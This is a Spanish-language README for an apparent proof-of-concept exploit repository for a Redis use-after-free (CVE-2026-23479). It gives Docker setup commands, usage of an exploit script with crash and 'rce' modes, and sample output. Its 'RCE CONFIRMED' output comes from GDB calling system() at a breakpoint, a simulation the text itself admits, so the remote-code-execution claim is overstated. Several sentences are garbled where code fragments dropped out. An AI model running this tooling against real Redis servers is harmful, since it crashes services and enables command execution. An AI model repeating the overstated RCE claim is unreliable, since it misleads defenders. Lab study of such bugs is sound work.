
Prueba de concepto con explotación asistida por GDB (solo uso educativo / de laboratorio)
Use-After-Free en Redis
unblockClientOnKey()que conduce a ejecución remota de código
Prueba de concepto con explotación asistida por GDB (solo uso educativo/de laboratorio)
CVE-2026-23479 es una vulnerabilidad crítica de Use-After-Free (UAF) en las versiones de Redis 7.2.0 a 8.6.2.
El error reside en unblockClientOnKey(), que llama a .
Si el cliente se libera durante esa llamada (p. ej., por desalojo), el llamador continúa operando sobre un puntero colgante → .
Un atacante que pueda manipular el heap después de la liberación podría lograr .
processCommandAndResetClient()Este repositorio proporciona un PoC asistido por GDB que:
freeClient())system() en el mismo punto⚠️ Importante: Esto no es un exploit armado. Utiliza GDB dentro de un contenedor Docker privilegiado para simular lo que un atacante real podría lograr tras explotar con éxito el UAF.
Úsalo solo en tu propio laboratorio o en sistemas en los que tengas permiso explícito para realizar pruebas.
crash, gdb, rce, full--containerXREAD BLOCK hace que el cliente espere datos del stream.pid 1) dentro del contenedor.processCommandAndResetClient – la función que se llama cuando el cliente bloqueado se vuelve a procesar.XADD en el mismo stream despierta a la víctima.gdb: llama a freeClient($rdi) → provoca deliberadamente un SIGSEGV → demuestra el UAF.rce: llama a system("your command") → ejecuta comandos shell arbitrarios como el usuario de Redis (root por defecto).El punto de interrupción se activa cada vez que se desbloquea un cliente bloqueado, lo que demuestra que la misma ruta de código que contiene el UAF también permite la ejecución de código.
| Rama | Rango vulnerable |
|---|---|
| 7.2 | 7.2.0 – 7.2.13 |
| 7.4 | 7.4.0 – 7.4.8 |
| 8.2 | 8.2.0 – 8.2.5 |
| 8.4 | 8.4.0 – 8.4.2 |
| 8.6 | 8.6.0 – 8.6.2 |
El script analiza automáticamente la versión de Redis e informa de si es vulnerable.
apt (p. ej., la oficial redis:8.6.2)--privileged (requerido para ptrace)git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
redis:8.6.2 redis-server --protected-mode no
docker exec -u root redis-vuln-local bash -c "
apt-get update && apt-get install -y gdb binutils procps
"
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping # should return PONG
python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]
| Modo | Descripción |
|---|---|
crash | Intenta activar el UAF mediante presión de memoria (no requiere GDB). Redis puede bloquearse, pero no está garantizado. |
gdb | Adjunta GDB y llama a freeClient() en el punto de interrupción → fuerza un SIGSEGV (demuestra el UAF). |
rce | Adjunta GDB y llama a system(cmd) en el punto de interrupción → ejecuta un comando shell dentro del contenedor. |
full | Ejecuta primero crash; si Redis no se bloquea, recurre a gdb. |
| Argumento | Predeterminado | Descripción |
|---|---|---|
target | (requerido) | Dirección IP del servidor Redis |
-p, --port | 6379 | Puerto de Redis |
-m, --mode | full | Uno de crash, gdb, rce, full |
--container | env-redis-vuln-1 | Nombre del contenedor Docker |
--cmd | id > /tmp/pwned_by_cve | Comando a ejecutar en el modo rce |
Nota: Todos los comandos se ejecutan desde la máquina host, no dentro del contenedor Docker.
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()
Redis se bloqueará después del fallo de segmentación.
Reinicia el contenedor:
docker start redis-vuln-local
Reinicia Redis para garantizar un estado limpio:
docker restart redis-vuln-local
Ejecuta el exploit:
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
--cmd "touch /tmp/pwned" \
--container redis-vuln-local
Verifica el archivo de prueba:
docker exec redis-vuln-local ls -l /tmp/pwned
Si tiene éxito, el archivo existirá, lo que demuestra que:
system("touch /tmp/pwned");
se ejecutó dentro del contenedor de Redis.
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local
Si Redis se cierra inesperadamente (el contenedor ya no se está ejecutando), es probable que se haya activado el UAF.
Reinícialo con:
docker start redis-vuln-local
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local
Este modo:
============================================================
CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE
[*] Method: RCE via UAF code path injection
Exploits CVE-2026-23479 UAF in unblockClientOnKey()
Breakpoint on processCommandAndResetClient -> system()
Command: touch /tmp/pwned
[+] Victim blocked on XREAD
Successfully copied 2.05kB to redis-vuln-local:/tmp/cve_rce.gdb
[+] GDB RCE script deployed
[+] GDB attached, breakpoint active
[*] Triggering unblock via XADD...
[*] Checking for RCE evidence in /tmp/pwned...
[+] RCE CONFIRMED! Proof file /tmp/pwned created.
[+] Redis alive after exploit
============================================================
Results
============================================================
Target: 127.0.0.1:6379
Version: 8.6.2
Vulnerable: YES
RCE: CONFIRMED (arbitrary command execution)
============================================================
El PoC original estaba codificado de forma fija para un contenedor llamado env-redis-vuln-1 y contenía varios problemas al ejecutarse con versiones más recientes de Python.
La versión actualizada introduce las siguientes mejoras:
| Problema | Solución |
|---|---|
| Nombre de contenedor codificado de forma fija | Se agregó el argumento --container y se propagó por todas las funciones. |
Comando file colocado dentro del bloque commands del script GDB | Se movió file /usr/local/bin/redis-server antes de attach para que GDB cargue los símbolos correctamente. |
subprocess.run() utilizado con capture_output=True y stderr=... a la vez | Se reemplazó con stdout=subprocess.DEVNULL y stderr=subprocess.DEVNULL. |
Procesos GDB obsoletos que causan ptrace: Operation not permitted | Se agregó pkill -9 gdb antes de lanzar GDB tanto en trigger_uaf_gdb() como en trigger_rce(). |
| Sin retroalimentación cuando GDB fallaba silenciosamente | Se agregó registro de depuración para la salida de GDB y se mejoró la detección del archivo de prueba. |
docker stop redis-vuln-local
docker rm redis-vuln-local
Esta herramienta está destinada exclusivamente a fines educativos, investigación de seguridad autorizada y pruebas de sistemas que usted posee o sobre los que tiene permiso explícito para evaluar.
El autor no respalda ni fomenta el uso no autorizado o malintencionado.
Obtenga siempre la autorización adecuada antes de probar cualquier sistema de producción o de terceros.
Hecho con ❤️ para la comunidad de seguridad.
Mantente ético. Mantente a salvo.